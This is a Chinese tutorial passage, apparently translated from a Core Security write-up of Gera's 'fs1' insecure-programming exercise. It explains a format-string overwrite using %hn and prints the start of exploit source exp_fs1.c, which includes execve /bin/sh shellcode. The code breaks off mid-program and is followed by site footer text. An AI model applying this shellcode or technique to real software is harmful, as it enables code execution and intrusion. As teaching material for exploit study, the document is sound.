非安全编程演示之格式化字符串
2006-04-02 20:26:48 来源:WEB开发网
溢出是可能的,但是并不容易。攻击者可能采用传统的攻击流程,覆盖程序在栈上的
返回地址。这里只有一个障碍---死循环(endless loop)。argc[1]需要精心构造,另外有针对zero的检查,如果为NULL字节,程序将正常退出(这样就执行了shellcode)(译者注:绕过了死循环,因为zero为0,while循环结束)。这可以通过%hn的格式参数来完成。zero是两个字节长,包含了两个NULL字节的较小的数是0x10000(65536的16进制)。所以,如果argc[1]是65536bytes长,*plen指向了zero的地址的话,死循环将被绕过。argc[1]的前256个字节为垃圾(译者注:用于填充buffer),4字节为zero的地址,接下来65276字节填充shellcode地址。
这个例子中真正的障碍是在栈中找出zero的地址。这就是我们在例子中额外加一行
print出zero的地址的原因。Exploit代码如下:
/*
** exp_fs1.c
** Coded by Core Security - info@core-sec.com
*/
#include <string.h>
#include <stdio.h>
#include <unistd.h>
/* May need some tweaking */
#define ZERO_ADDRESS 0xbffefeca
/* 24 bytes shellcode */
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main(void) {
char *env[3] = {shellcode, NULL};
char evil_buffer[65536 + 1] ;
char *p;
int ret = 0xbffffffa - strlen(shellcode) -
strlen("/home/user/gera/fs1");
int i;
更多精彩
赞助商链接